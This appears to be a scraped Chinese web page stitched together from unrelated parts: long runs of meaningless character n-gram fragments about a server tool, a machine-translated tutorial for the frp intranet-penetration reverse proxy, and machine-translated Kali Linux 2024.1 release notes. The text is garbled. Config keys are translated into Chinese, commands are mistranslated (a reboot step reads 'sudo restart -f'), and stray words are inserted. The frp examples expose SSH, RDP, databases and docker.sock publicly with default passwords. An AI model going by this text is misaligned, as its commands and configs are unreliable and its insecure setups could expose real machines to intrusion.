所以我们 以我们经 我们经常 们经常找 经常找不 常找不到 找不到服 不到服务 到服务器 常记 记不 不住 住密 密码 经常记 常记不 记不住 不住密 住密码 经常记不 常记不住 记不住密 不住密码 甚至 至忘 忘记 记自 自己 己有 有多 多少 少台 台服 甚至忘 至忘记 忘记自 记自己 自己有 己有多 有多少 多少台 少台服 台服务 甚至忘记 至忘记自 忘记自己 记自己有 自己有多 己有多少 有多少台 多少台服 少台服务 台服务器 于是 是我 们很 很快 快就 就开 发了 了一 一个 个在 在线 线终 终端 端工 工具 于是我 是我们 我们很 们很快 很快就 快就开 就开发 开发了 发了一 了一个 一个在 个在线 在线终 线终端 终端工 端工具 于是我们 是我们很 我们很快 们很快就 很快就开 快就开发 就开发了 开发了一 发了一个 了一个在 一个在线 个在线终 在线终端 线终端工 终端工具 可以 以在 在三 三天 天内 内协 协同 同使 使用 可以在 以在三 在三天 三天内 天内协 内协同 协同使 同使用 可以在三 以在三天 在三天内 三天内协 天内协同 内协同使 协同使用 而且 且对 对于 于我 们自 己来 来说 说也 也是 是一 一种 种享 享受 而且对 且对于 对于我 于我们 我们自 们自己 自己来 己来说 来说也 说也是 也是一 是一种 一种享 种享受 而且对于 且对于我 对于我们 于我们自 我们自己 们自己来 自己来说 己来说也 来说也是 说也是一 也是一种 是一种享 一种享受 后来 来我 我发 发现 现身 身边 边很 多朋 朋友 友也 也有 有同 同样 样的 的问 问题 后来我 来我发 我发现 发现身 现身边 身边很 边很多 很多朋 多朋友 朋友也 友也有 也有同 有同样 同样的 样的问 的问题 后来我发 来我发现 我发现身 发现身边 现身边很 身边很多 边很多朋 很多朋友 多朋友也 朋友也有 友也有同 也有同样 有同样的 同样的问 样的问题 我决 决定 定创 创建 建一 个公 公共 共服 以我决 我决定 决定创 定创建 创建一 建一个 一个公 个公共 公共服 共服务 所以我决 以我决定 我决定创 决定创建 定创建一 创建一个 建一个公 一个公共 个公共服 公共服务 并给 给这 这个 个工 具起 起了 个名 名字 并给这 给这个 这个工 个工具 工具起 具起了 起了一 一个名 个名字 并给这个 给这个工 这个工具 个工具起 工具起了 具起了一 起了一个 了一个名 一个名字 牧云 机管 管理 理助 助手 牧云主 主机管 机管理 管理助 理助手 牧云主机 云主机管 主机管理 机管理助 管理助手 上线 线仅 仅一 个月 上线仅 线仅一 仅一个 一个月 上线仅一 线仅一个 仅一个月 已有 多名 名朋 友注 注册 册使 多名朋 名朋友 朋友注 友注册 注册使 册使用 多名朋友 名朋友注 朋友注册 友注册使 注册使用 非常 常可 可喜 非常可 常可喜 非常可喜 本文 文将 将介 介绍 绍牧 云的 的使 用并 并揭 揭示 示设 设计 计和 和开 发思 思路 本文将 文将介 将介绍 介绍牧 绍牧云 牧云的 云的使 的使用 使用并 用并揭 并揭示 揭示设 示设计 设计和 计和开 和开发 开发思 发思路 本文将介 文将介绍 将介绍牧 介绍牧云 绍牧云的 牧云的使 云的使用 的使用并 使用并揭 用并揭示 并揭示设 揭示设计 示设计和 设计和开 计和开发 和开发思 开发思路 欢迎 迎各 各位 位技 者前 前来 来体 体验 验交 交流 欢迎各 迎各位 各位技 位技术 好者前 者前来

1。什么是玻璃钢 frp是一款专注于内网渗透的高性能反向代理应用，支持TCP、UDP、HTTP、HTTPS等多种协议。内网服务通过公网IP节点中转暴露到公网，安全便捷 2。 VPS linux服务器端安装服务器端frps cd /optwget wget https://github.com/fatedier/frp/releases/download/v0.48.0/frp_0.48.0_linux_amd64.tar.gztar-zxvf frp_0.48.0_linux_amd64.tar.gzmvfrp_0.48.0_linux_amd64 frpcd frp 3。配置服务器端frps的frps.ini cd frp vim frps.ini : [common]# frp 监听的端口，默认为7000，可改为其他bind_port=7000# HTTP 端口vhost_http_port=54321# HTTPS 端口vhost_https_port=54322# 用于认证，请自行修改，确保服务端与客户端一致token=123456 # Dashboard（服务端配置）# frp 管理后台端口，请更改dashboard_port=7002 根据自己的需要# frp管理后台用户名和密码，请修改为自己的dashboard_user=admindashboard_pwd=adminenable_prometheus=true # frp日志配置log_file=/var/log/frps.loglog_level=infolog_max_days=3 防火墙开放端口# 添加监听端口sudofirewall-cmd --permanent --add-port=7000/tcp# 添加管理后端端口sudofirewall-cmd --permanent --add-port=7002/tcpsudofirewall-cmd --reload 4。客户端配置frpc的frpc.ini cd frp vim frpc.ini :[common]#公网VPS IPserver_addr=106.13.218.47#外网-服务器监听端口(必须与frps.ini中的配置一致) server_port=7000#认证请自行修改，保证服务器和客户端一致token=123456 # AdminUI(客户端配置) #使用真实地址内网可以访问测试admin_addr=127.0.0.1 admin_port=7400admin_user=adminadmin_pwd=admin[web]type=httplocal_ip=127.0.0.1local_port=80remote_port=54321custom_domains=106.13.218.47 # 建议使用域名区分[mysql]type=tcplocal_ip=127.0.0.1local_port=3306remote_port=9000[ssh]#配置类型为tcp协议类型=tcp#内网机器的IP local_ip=127.0.0.1#内网机器的端口local_port=22remote_port=9001 [rdp]type=tcplocal_ip=127.0.0.1local_port=3389remote_port=9002 5。在公网服务器上启动frps 后台启动frpsnohup ./frps -c ./frps.ini 后台启动frps，并将日志输出到frps.lognohup ./frps -c frps.ini 21 frps.log 开始监听日志：2019/03/23 17:27:41 [I] [service.go:136] frps tcp 监听0.0.0.0:70002019/03/23 17:27:41 [I] [root.go:204] 启动frps成功表示服务器已经启动了frp服务，监听端口为7000 6。内网主机启动客户端frpc #启动linux客户端./frpc -c ./frpc.ini #后台启动linux客户端nohup ./frpc -c frpc.ininohup ./frpc -c frpc.ini frpc.log #启动windows客户端frpc.exe -c ./frpc.ini 4。 Linux系统下使用systemd控制frps并配置开机自动启动 1.在/etc/systemd/system目录下创建frps.service文件(centos系统自带systemd服务) vim /etc/systemd/system/frps.servicefrps.service: [Unit]#服务名称，可自定义Description=frp serverAfter=network.target syslog.targetWants=network.target [Service]Type=simple#启动frps的命令需要修改为你frps的安装路径ExecStart=/opt/frp/frps -c /opt/frp/frps.ini [安装]WantedBy=多用户.target4。使用systemd命令管理frps#启动frpsystemctl start frps#停止frpsystemctl stop frps#重启frpsystemctl restart frps#查看frp状态systemctl status frps5.配置frps开机自启动systemctl enable frps 6。代理类型 frp支持多种代理类型，适应不同的使用场景。类型说明tcp 简单的TCP 端口映射，服务器会根据不同的端口路由到不同的内网服务。 UDP是简单的UDP端口映射。服务器会根据不同的端口路由到不同的内网服务。 http为HTTP应用程序定制了一些附加功能，例如修改Host Header、添加身份验证等。 https 有一些为HTTPS 应用程序定制的附加功能。 stcp是一种安全的TCP内网代理，需要在访问者和访问者的机器上都部署frpc。无需在服务器端公开端口。 sudp是一个安全的UDP内网代理，需要在访问者和访问者的机器上都部署frpc。无需在服务器端公开端口。 xtcp点对点内网穿透代理，功能与stcp相同，但流量不需要通过服务器中转。 tcpmux支持服务器端TCP端口复用，允许用户通过同一端口访问不同的内网服务。 7。使用场景 1。通过SSH访问内网机器 本示例允许用户通过简单配置TCP类型代理来访问内网服务器。在有公网IP的机器上部署frps，并修改frps.ini文件。这里使用最简单的配置来设置frp服务器用户接收客户端连接的端口：【常用】 绑定端口=7000 在需要访问的内网机器上部署frpc（SSH服务一般监听22端口），修改frpc.ini文件，假设frps所在服务器的公网IP为106.13.218.47【通用】 服务器地址=106.13.218.47 服务器端口=7000 [SSH] 类型=tcp 本地IP=127.0.0.1 本地端口=22 远程端口=6000 local_ip和local_port配置为需要暴露到公网的本地服务地址和端口。 remote_port表示frp服务器监听的端口。访问该端口的流量将被转发到本地服务对应的端口。 分别启动frps和frpc ./frps -c ./frps.ini ./frpc -c ./frpc.ini 4、通过SSH访问内网机器，假设用户名为test：ssh -oPort=6000 [email protected] 5.frp会将请求x.x.x.x:6000的流量转发到内网机器的22端口。 2.通过自定义域名访问内网Web服务 该示例允许用户通过简单配置HTTP类型代理来访问内网Web服务。与TCP类型相比，HTTP类型代理不仅需要监听服务器端额外的端口vhost_http_port来接收HTTP请求，而且还基于HTTP协议提供了很多附加功能。 1、修改frps.ini文件，设置监听HTTP请求端口为8080：【常用】 绑定端口=7000 虚拟主机http_端口=8080 2、修改frpc.ini文件。假设frps所在服务器的IP为106.13.218.47，local_port为本机Web服务的监听端口，绑定的自定义域名为custom_domains。 [常见] 服务器地址=106.13.218.47 服务器端口=7000 [网络] 类型=http 本地端口=80 自定义域=www.yourdomain.com [网络2] 类型=http 本地端口=8080 自定义域=www.yourdomain2.com 3、分别启动frps和frpc。 4、将www.yourdomain.com和www.yourdomain2.com的域名A记录解析为IP106.13.218.47。如果服务器已经有对应的域名，也可以将CNAME记录解析为服务器原有的域名。或者通过修改HTTP请求的Host字段也可以达到同样的效果。 5、通过浏览器访问http://www.yourdomain.com:8080来访问内网机器80端口的服务，通过访问http://www.yourdomain2.com:8080来访问内网机器8080端口的服务。 3。转发DNS查询请求 本示例通过简单配置UDP类型代理来转发DNS查询请求。 DNS查询请求通常使用UDP协议。 frp支持内网UDP服务的穿透，配置方法与TCP基本相同。 frps.ini内容如下：【常用】 绑定端口=7000 frpc.ini内容如下：【常用】 服务器地址=x.x.x.x 服务器端口=7000 [域名] 类型=udp 本地IP=8.8.8.8 本地端口=53 远程端口=6000 这里替换了Google的DNS查询服务器的地址。仅用于测试UDP代理，没有实际意义。 分别启动frps和frpc。 4. 使用dig测试UDP包转发是否成功。预计返回www.baidu.com域名的解析结果。挖@x.x.x.x -p 6000 www.baidu.com 4。转发 Unix 域套接字 本示例配置Unix域socket客户端插件，通过TCP端口访问内网Unix域socket服务，如Docker Daemon。 frps.ini内容如下：【常用】 绑定端口=7000 frpc.ini内容如下：【常用】 服务器地址=x.x.x.x 服务器端口=7000 [unix_domain_socket] 类型=tcp 远程端口=6000 插件=unix_domain_socket plugin_unix_path=/var/run/docker.sock 分别启动frps和frpc。 4、通过curl命令查看docker版本信息curl http://x.x.x.x:6000/version 5。向外部提供简单的文件访问服务 此示例配置static_file 客户端插件，将本地文件公开到公共网络以供其他人访问。 static_file插件可以向外界提供简单的基于HTTP的文件访问服务。 frps.ini内容如下：【常用】 绑定端口=7000 frpc.ini内容如下：【常用】 服务器地址=x.x.x.x 服务器端口=7000 [测试静态文件] 类型=tcp 远程端口=6000 插件=静态文件 # 对外暴露的文件目录 plugin_local_path=/tmp/文件 # 用户访问时会从URL中去掉前缀，剩下的内容就是要访问的文件路径。 plugin_strip_prefix=静态 插件_http_用户=abc 插件_http_passwd=abc 分别启动frps和frpc。 4、通过浏览器访问http://x.x.x.x:6000/static/，查看/tmp/file目录下的文件。系统将要求您输入已设置的用户名和密码。 4。为本地 HTTP 服务启用 HTTPS https2http插件可以将本地HTTP服务转换为HTTPS服务并提供给外界。 frps.ini内容如下：【常用】 绑定端口=7000 frpc.ini内容如下：【常用】 服务器地址=x.x.x.x 服务器端口=7000 [test_htts2http] 类型=https 自定义域=test.yourdomain.com 插件=https2http 插件本地地址=127.0.0.1:80 # HTTPS证书相关配置 plugin_crt_path=./server.crt 插件密钥路径=./server.key 插件_主机_标头_重写=127.0.0.1 plugin_header_X-From-Where=frp 分别启动frps和frpc。 4.通过浏览器访问https://test.yourdomain.com。 5。安全公开内网服务 此示例将创建一个只有您可以访问的SSH 服务代理。对于某些服务，如果直接暴露在公网，就会存在安全风险。 使用stcp（秘密tcp）类型代理可以防止任何人能够访问被渗透的服务，但访问者还需要运行另一个frpc客户端。 frps.ini内容如下：【常用】 绑定端口=7000 在需要暴露外网的机器上部署frpc，配置如下：【常用】 服务器地址=x.x.x.x 服务器端口=7000 [秘密_ssh] 类型=stcp # 只有具有相同sk的用户才能访问该服务 sk=abcdefg 本地IP=127.0.0.1 本地端口=22 同样在想要访问内网服务的机器上部署frpc，配置如下：【常用】 服务器地址=x.x.x.x 服务器端口=7000 [secret_ssh_visitor] 类型=stcp # stcp 的访问者 角色=访客 # 要访问的stcp代理的名称 服务器名称=secret_ssh sk=abcdefg # 绑定本地端口以访问SSH服务 绑定地址=127.0.0.1 绑定端口=6000 4、通过SSH访问内网机器，假设用户名为test：ssh -oPort=6000 [email protected] 6。点对点内网穿透 此示例将演示一种无需通过服务器转发流量即可访问内联网服务的方法。 frp提供了一种新的代理类型xtcp来应对要传输大量数据且流量不经过服务器的场景。 使用方式与stcp类似，双方都需要部署frpc来建立直连。 目前处于发展初期，无法穿透所有类型的NAT设备，因此穿透成功率较低。当穿透失败时，可以尝试stcp。 frps.ini的内容如下。需要额外配置来侦听UDP 端口以支持此类客户端：[常见] 绑定端口=7000 绑定udp 端口=7000 在需要暴露外网的机器上部署frpc，配置如下：【常用】 服务器地址=x.x.x.x 服务器端口=7000 [p2p_ssh] 类型=xtcp # 只有具有相同sk的用户才能访问该服务 sk=abcdefg 本地IP=127.0.0.1 本地端口=22 同样在想要访问内网服务的机器上部署frpc，配置如下：【常用】 服务器地址=x.x.x.x 服务器端口=7000 [p2p_ssh_visitor] 类型=xtcp # xtcp 的访问者 角色=访客 # 要访问的xtcp代理的名称 服务器名称=p2p_ssh sk=abcdefg # 绑定本地端口访问ssh服务 绑定地址=127.0.0.1 绑定端口=6000 4、通过SSH访问内网机器，假设用户名为test：ssh -oPort=6000 [email protected] 常用函数 仪表板 通过浏览器查看frp状态和代理统计信息显示。 注意：仪表板尚未针对显示大量代理数据进行优化。如果仪表板访问速度较慢，请不要启用此功能。需要在frps.ini中指定dashboard服务使用的端口来启用该功能： [常见] 仪表板端口=7500 #dashboard用户名和密码，默认是admin 仪表板用户=管理员 Dashboard_pwd=admin 打开浏览器，通过http://[server_addr]:7500访问仪表板界面。默认用户名和密码是admin。 加密和压缩 默认情况下，这两个功能未启用。您需要通过frpc.ini中的配置为指定代理启用加密和压缩。压缩算法使用snappy： #frpc.ini [SSH] 类型=tcp 本地端口=22 远程端口=6000 使用加密=true use_compression=true 如果公司内网防火墙识别并阻止外部网络访问，例如禁用SSH协议等，通过设置use_encryption=true，frpc和frps之间的通信内容将被加密传输，可以有效防止流量被拦截。 如果传输的报文长度较长，设置use_compression=true来压缩传输的内容可以有效减少frpc和frps之间的网络流量，加快流量转发速度，但会消耗一些额外的CPU资源。 TLS 从v0.25.0版本开始，frpc和frps之间支持通过TLS协议加密传输。通过在frpc.ini 中配置tls_enable=true 来启用此功能，以提高安全性。 为了端口复用，frp用来建立TLS连接的第一个字节是0x17。 注意：启用该功能后，除xtcp外，无需设置use_encryption。 代理速度限制 目前支持在客户端的代理配置中设置代理级别的速度限制，以限制单个代理可以占用的带宽。 #frpc.ini [SSH] 类型=tcp 本地端口=22 远程端口=6000 bandwidth_limit=1MB 在代理配置中添加bandwidth_limit字段以启用此功能。目前仅支持MB 和KB 单位。 范围端口映射 frpc配置文件中可以指定映射多个端口。目前仅支持tcp 和udp 类型。 该功能是通过range:段落标签实现的。客户端会解析该标签中的配置，并将其拆分为多个代理。每个代理都以数字作为后缀命名。 例如映射6000-6005、6007这6个本地端口，主要配置如下： #frpc.ini [范围:test_tcp] 类型=tcp 本地IP=127.0.0.1 本地端口=6000-6006,6007 remote_port=6000-6006、6007实际连接成功后会创建8个代理，分别命名为test_tcp_0、test_tcp_1 . test_tcp_7 什么 么是 是玻 玻璃 璃钢 什么是 么是玻 是玻璃 玻璃钢 什么是玻 么是玻璃 是玻璃钢 是一 一款 款专 专注 注于 于内 内网 网渗 渗透 透的 的高 高性 性能 能反 反向 向代 代理 理应 应用 是一款 一款专 款专注 专注于 注于内 于内网 内网渗 网渗透 渗透的 透的高 的高性 高性能 性能反 能反向 反向代 向代理 代理应 理应用 是一款专 一款专注 款专注于 专注于内 注于内网 于内网渗 内网渗透 网渗透的 渗透的高 透的高性 的高性能 高性能反 性能反向 能反向代 反向代理 向代理应 代理应用 支持 等多 多种 种协 协议 等多种 多种协 种协议 等多种协 多种协议 网服 服务 务通 通过 过公 公网 内网服 网服务 服务通 务通过 通过公 过公网 内网服务 网服务通 服务通过 务通过公 通过公网 节点 点中 中转 转暴 暴露 露到 到公 节点中 点中转 中转暴 转暴露 暴露到 露到公 到公网 节点中转 点中转暴 中转暴露 转暴露到 暴露到公 露到公网 安全 全便 便捷 安全便 全便捷 安全便捷 务器 器端 端安 安装 装服 服务器 务器端 器端安 端安装 安装服 装服务 服务器端 务器端安 器端安装 端安装服 安装服务 装服务器 配置 置服 配置服 置服务 配置服务 置服务器 监听 听的 的端 端口 监听的 听的端 的端口 监听的端 听的端口 默认 认为 默认为 可改 改为 为其 其他 可改为 改为其 为其他 可改为其 改为其他 用于 于认 认证 用于认 于认证 用于认证 请自 自行 行修 修改 请自行 自行修 行修改 请自行修 自行修改 确保 保服 务端 端与 与客 客户 户端 端一 一致 确保服 保服务 服务端 务端与 端与客 与客户 客户端 户端一 端一致 确保服务 保服务端 服务端与 务端与客 端与客户 与客户端 客户端一 户端一致 端配 务端配 端配置 服务端配 务端配置 管理 理后 后台 台端 管理后 理后台 后台端 台端口 管理后台 理后台端 后台端口 请更 更改 请更改 根据 据自 自己 己的 的需 需要 根据自 据自己 自己的 己的需 的需要 根据自己 据自己的 自己的需 己的需要 台用 用户 户名 名和 和密 密码 后台用 台用户 用户名 户名和 名和密 和密码 理后台用 后台用户 台用户名 用户名和 户名和密 名和密码 请修 为自 请修改 修改为 改为自 为自己 请修改为 修改为自 改为自己 为自己的 日志 志配 日志配 志配置 日志配置 防火 火墙 墙开 开放 放端 防火墙 火墙开 墙开放 开放端 放端口 防火墙开 火墙开放 墙开放端 开放端口 添加 加监 听端 添加监 加监听 监听端 听端口 添加监听 加监听端 监听端口 加管 后端 端端 添加管 加管理 理后端 后端端 端端口 添加管理 加管理后 管理后端 理后端端 后端端口 户端配 客户端配 户端配置 外网 器监 务器监 器监听 服务器监 务器监听 器监听端 必须 须与 必须与 中的 的配 置一 中的配 的配置 配置一 置一致 中的配置 的配置一 配置一致 证请 认证请 证请自 认证请自 证请自行 保证 证服 器和 和客 保证服 证服务 务器和 器和客 和客户 保证服务 证服务器 服务器和 务器和客 器和客户 和客户端 使用 用真 真实 实地 地址 址内 网可 可以 以访 访问 问测 测试 使用真 用真实 真实地 实地址 地址内 址内网 内网可 网可以 可以访 以访问 访问测 问测试 使用真实 用真实地 真实地址 实地址内 地址内网 址内网可 内网可以 网可以访 可以访问 以访问测 访问测试 建议 议使 用域 域名 名区 区分 建议使 议使用 使用域 用域名 域名区 名区分 建议使用 议使用域 使用域名 用域名区 域名区分 置类 类型 型为 配置类 置类型 类型为 配置类型 置类型为 议类 协议类 议类型 协议类型 网机 机器 器的 内网机 网机器 机器的 内网机器 网机器的 器的端 机器的端 器的端口 在公 器上 上启 启动 在公网 公网服 务器上 器上启 上启动 在公网服 公网服务 网服务器 服务器上 务器上启 器上启动 台启 后台启 台启动 后台启动 并将 将日 志输 输出 出到 并将日 将日志 日志输 志输出 输出到 并将日志 将日志输 日志输出 志输出到 开始 始监 听日 开始监 始监听 监听日 听日志 开始监听 始监听日 监听日志 成功 功表 表示 示服 器已 已经 经启 动了 成功表 功表示 表示服 示服务 务器已 器已经 已经启 经启动 启动了 成功表示 功表示服 表示服务 示服务器 服务器已 务器已经 器已经启 已经启动 经启动了 口为 端口为 听端口为 网主 主机

2024 年你好！今天我们推出Kali Linux 2024.1。由于这是我们今年的第一个版本，因此它确实包含新的视觉元素！除此之外，我们还有一些令人兴奋的新镜像可供讨论，当然还有一些软件包更改- 包括新工具和现有工具的升级。如果您想亲自查看新主题并尝试其中一个新镜像，请下载新镜像或升级（如果您已经安装了Kali Linux）。 自12 月发布2023.4 以来，变更日志的h2 为: Micro Mirror 免费软件CDN - FCIX Software Mirror 主动提出托管我们的图像，我们答应了2024 年主题刷新- 我们的年度主题刷新，包含所有新壁纸和GRUB 主题其他桌面环境更改- 对默认环境的一些新调整NetHunter 更新- 适用于Android 14 的NetHunter 无根、不良蓝牙HID 攻击和其他更新新工具- 一如既往，各种新的闪亮工具！ 推出微镜免费软件 CDN 在最新版本的Kali Linux 中，我们的社区镜像网络变得更加强大，这要感谢Micro Mirror CDN 的帮助！故事是这样的。 上个月，我们回复了FCIX Software Mirror 的Kenneth Finnegan 发来的一封长期被遗忘的电子邮件。 FCIX 是位于加利福尼亚州的一个相当大的镜像，他们主动提出在其镜像上托管Kali 图像。我们的回答是“是的，请”，仅此而已；不久之后，Kali 镜像被添加到FCIX 镜像中。到目前为止一切顺利，故事本来可以结束，但随后跟随Kenneth up: 我们现在还运营另外32 个其他镜像，这些镜像针对最小存储进行了优化，并且仅托管最高流量的项目[mldr;] Kali 项目愿意接受来自FCIX 组织的另外10 个镜像吗？ 哇，多了10 个镜子，听起来确实不错！但是，等等，32 个镜子？怎么会？这些镜子从哪里来？这很有趣。事实证明，Kenneth 运营着一个镜像网络，该网络于2023 年5 月在他的博客: 构建微镜像自由软件CDN 上正式宣布。 那么微镜CDN到底是什么？ One-liner: 是一个致力于服务Linux 和自由软件的镜像网络。与托管大约50TB 项目文件的传统镜像相反，微镜像是“仅”有几TB 存储空间的机器，专注于仅托管需求最高的项目。换句话说， 它们在最需要的地方提供额外的带宽。与传统镜像的另一个重要区别是，这些机器不由赞助商（为镜像提供资金的组织）管理。通常，赞助商提供带宽、镜像并对其进行管理。在这里，赞助商只提供带宽，而FCIX Micro Mirror 团队则负责购买硬件，将其运送到数据中心，然后通过其公共Ansible 手册进行远程管理。 对于任何熟悉镜像的人来说，看到这样一个项目的形成是非常令人兴奋的。得益于社区支持的镜像，自由软件和Linux 发行版已经分发了近三十年，这是一个悠久的传统。确实，我们在过去几年中看到了一些变化，如今一些最大的FOSS 项目完全通过CDN 进行分发，留下了镜像系统。对于Kali Linux，我们使用混合方法:它的分布部分归功于世界各地50 多个镜像，部分归功于充当无处不在的镜像的Cloudflare CDN。自2019 年以来，我们很幸运地受益于Cloudflare 的慷慨赞助。但较小或较新的项目没有这个机会，因此社区镜像对于自由软件分发仍然至关重要。这就是为什么很高兴看到像Micro Mirror CDN 这样的项目，它是镜像领域的一种新颖方法，并且通过Kali Linux，我们非常高兴能够参与其中。 对于任何拥有空闲带宽并希望支持免费软件的组织来说，Micro Mirror 项目可能是您感兴趣的。您可能需要查看他们的产品简介以获取更全面的服务描述，并查看fcix dot net 上的电子邮件镜像以获取更多信息。我们只引用一句话，总结得很好: 从托管赞助商的角度来看，微镜是一个交钥匙设备，他们只需要提供网络连接和远程安装硬件，所有系统管理和监控工作都由FCIX 团队处理，规模经济在我们这边。 非常感谢FCIX 团队，特别是肯尼思马云惹不起马云芬尼根(Kenneth Finnegan) 的慷慨报价。在他们的帮助下，Kali 图像现在由另外10 个镜像: 提供服务，其中7 个位于美国，1 个位于哥伦比亚，1 个位于英国，1 个位于澳大利亚。 当我们谈论mirrors:时，我们还在这个发布周期中从各个赞助商那里获得了大量新镜像，请查看下面的专用部分以了解详细信息。 2024 年主题刷新 与之前的20**.1 版本一样，此更新带来了我们的年度主题刷新，这一传统使我们的界面与我们的工具一样保持优势。今年我们推出了最新的主题，该主题经过精心设计，旨在从启动的那一刻起增强用户体验。我们的常规Kali 和Kali Purple 版本对启动菜单、登录显示和一系列迷人的桌面壁纸进行了重大更新。我们不仅致力于提高我们的网络安全能力，而且还确保我们平台的美观与内在的力量相匹配。 启动菜单: 登录显示: 台式机: 卡利紫桌面: 新壁纸: 特别感谢arszilla 不仅提出了两种壁纸变体，还为创建此版本中的默认壁纸之一做出了贡献。这些额外的图像是为了补充Nord 和Dracula 配色方案的背景颜色而制作的。要访问这些壁纸，只需安装kali-community-wallpapers 软件包，该软件包还提供由我们的社区贡献者创建的许多其他令人惊叹的背景。 其他桌面更改 Xfce 我们很高兴为Xfce 桌面引入便捷的增强功能。现在，用户只需单击一下即可轻松将其VPN IP 地址复制到剪贴板，从而简化了工作流程并提高了用户的工作效率。要利用此功能，请确保您的系统上安装了xclip（sudo apt update sudo apt -y install xclip）。通过这一改进，在Kali Linux 上管理VPN 连接变得更加无缝和直观。 感谢lucas.parsy 的贡献，使此功能成为可能！ 其他Xfce 更改: Kali-undercover 已更新，修复了与最新文件搜索速度的兼容性，并引入了更新的侧边栏设计。 Gnome-Shell 在桌面增强之后，我们添加了一些新的应用程序图标，确保Kali Linux 默认安装的完全主题体验。此外，我们还使用新的符号图标更新了图标主题，增强了系统范围内的一致性。 图标主题 我们终于拿到了全新的三星Galaxy S24 Ultra，是的！NetHunter 无根运行就像梦想一样。幸运的是，Android 14 允许我们在开发者设置中禁用子进程限制，因此我们不再需要使用adb 命令行来启用KeX 支持。 我们更新了文档以反映这些更改。 yesimxev 设法将流行的坏蓝牙HID 攻击添加到适用于手机甚至智能手表的NetHunter 应用程序！ 您的浏览器不支持视频标签。我们的NetHunter 和NHTerm 应用程序的图标已经过改造，@kimocoder @martinvlba 花了无数天更新代码库，以确保与最新Android 版本的兼容性。 社区参与度处于历史最高水平，这反映在以下新内核: Realme C15TicWatch Pro 3（更新）三星Galaxy S9+小米Poco X3 NFC 感谢大家的贡献，没有你们我们就不会在这里！ 请继续关注，因为还有更多内核正在开发中！ Kali NetHunter 更新 以下新工具已纳入此Kali 版本（通过网络存储库）: blue-Hydra - 蓝牙设备发现服务opentaxii - 来自EclecticIQ 的TAXII 服务器实现readpe - 操作Windows PE 文件的命令行工具snort - 灵活的网络入侵检测系统此版本的重点是添加新库，并且始终有大量软件包更新。另外，我们还将Kali 内核升级到6.6！ Kali 中的新工具 社区也提交了一个工具，已经合并到Kali:中 上面- 用于查找网络漏洞的隐形协议嗅探器如果您希望Kali 中的工具比我们添加的工具更快，请参阅我们之前版本的博客文章。 社区包 下面是Kali 中更新的一些其他内容，我们正在调用这些内容，但没有那么多细节: 由于Debian 中正在进行的/usr-merge 过渡，使用2023.4 或更早版本的网络启动映像将不再有效。确保获取每周图像或Kali 2024.1！友情提醒，如果您在尝试使用键盘快捷键复制/粘贴剪贴板时遇到“奇怪的特殊字符”，默认是使用“ctrl+shift+c”和“ctrl+shift+v”。Unix中的ctrl+c（不带shift）用于杀死程序！如果您愿意，您可以在您最喜欢的终端程序中更改默认行为 其他 Kali 网站更新 我们的Kali 文档有有各种更新: 在Apple Silicon (M1/M2/M3) Mac（主机）上安装VMware（更新）Kali 安装大小（更新）让项目变得更强大的一种方法是帮助其文档。卡利也不例外。如果您有能力，请做出贡献。 Kali 文档 我们的工具文档总是从我们这里得到各种更新，但我们从Daniel: 那里得到了巨大的贡献 Dradis如果您想帮助Kali 并回馈社会，提交到kali.org/tools 是一个很好的贡献方式。 工具文档 自上次发布以来，我们发布了以下博客文章: 伟大的非自由固件过渡Kali Linux DEI Promise Kali 博客回顾 这些是帮助Kali 和团队完成最新版本的公众人士。我们要赞扬他们的工作（我们喜欢在适当的时候给予赞扬！）: ArszillaCasterDanielJane RysavyJordanLucas Parsyronbo任何人都可以提供帮助，任何人都可以参与其中！ 社区呼声 我们有一些新镜子！事实上，有很多新镜子。上个季度在这方面的表现相当令人难以置信，现在是给予认可的时候了。 让我们从北美开始吧: US:mirror.fcix.net 由FCIX 又名赞助。弗里蒙特Cabal 互联网交换中心。感谢肯尼思马云惹不起马云芬尼根(Kenneth Finnegan) 联系MLDR；一年半前！值得庆幸的是，我们重新发现了该电子邮件，这是值得的。Canada:mirror.xenyth.net由Xenyth Cloud赞助，感谢Sepehr Ahmadi。Canada:mirror.quantum5.ca由Dynamic Quantum Networks赞助，并感谢Guanzhong Chen。Canada:mirror.accuris.ca由Accuris Technologies Ltd.赞助，感谢Peter Potvin.Canada:mirror.0xem.ma 由Emma Ruby 赞助。现在面向世界其他地区: Chile: elmirror.cl，由ElMirror 赞助，并感谢Jonathan Gutierrez，他还维护了Chile:mirror.uro.cl 中的另一个Kali Linux 镜像。提醒一下:我们在南美确实缺乏镜子，欢迎任何帮助Kali到达世界的这个地区。China:mirrors.ustc.edu.cn，由中国科学技术大学赞助。中国科学技术大学，感谢陶科宇。法国:mirror.johnnybegood.fr，由Johnnybegood Society赞助。葡萄牙:mirror.leitecastro.com，由Tomás Leite de Castro赞助。韩国:mirror.amuksa.com。除此之外，如上所述，现在有Micro Mirror CDN，通过10个点提供Kali图像存在: 美国7 个、哥伦比亚1 个、英国1 个、澳大利亚1 个！ 最后， 感谢你们所有人，无论是个人还是公司，你们提供了带宽并帮助我们将Kali 分发给了所有人！ 如果您有磁盘空间和带宽，我们始终欢迎新的镜像。 新卡利镜子 自从我们的Discord 服务器与Kali 2022.3 一起启动以来，我们已经与一些Kali 团队成员进行了一个小时的语音聊天。此时任何人都可以向我们提出问题（希望与Kali 或信息安全行业相关）。 下一次会议将比正常时间稍晚举行，即2024 年3 月22 日星期五18:00 - 19:00 UTC/+0 GMT。 它将再次出现在OffSec 的Discord 上。 Discord 邀请iCalendar 邀请请注意，我们不会录制此活动- 仅现场直播。 Kali 团队不和谐聊天 新鲜图片: 那你还等什么？快去找卡利吧！ 经验丰富的Kali Linux 用户已经意识到了这一点，但对于那些还没有意识到的用户，我们还每周提供可供您使用的版本。如果您等不及我们的下一个版本，并且在下载映像时想要最新的软件包（或错误修复），则可以使用每周映像。 这样您将需要执行更少的更新。 只需知道这些是我们所做的自动化构建，而不是像我们对标准发布映像所做的质量检查。但我们很乐意接受有关这些图像的错误报告，因为我们希望在下一个版本之前解决所有问题！ 现有安装: 如果您已经安装了Kali Linux，请记住您可以随时进行快速更新: ┌──(kali㉿kali)-[~] └─$ echo 'deb http://http.kali.org/kali kali-rolling 主要贡献非自由非自由固件' | sudo tee /etc/apt/sources.list [.] ┌──(kali㉿kali)-[~] └─$ sudo apt update sudo apt -y 全面升级 [.] ┌──(kali㉿kali)-[~] └─$ cp -vrbi /etc/skel/. 〜/ [.] ┌──(kali㉿kali)-[~] └─$ [ -f /var/run/reboot-required ] sudo restart -f 您现在应该使用Kali Linux 2024.1。我们可以通过执行: 进行快速检查 ┌──(kali㉿kali)-[~] └─$ grep 版本/etc/os-release 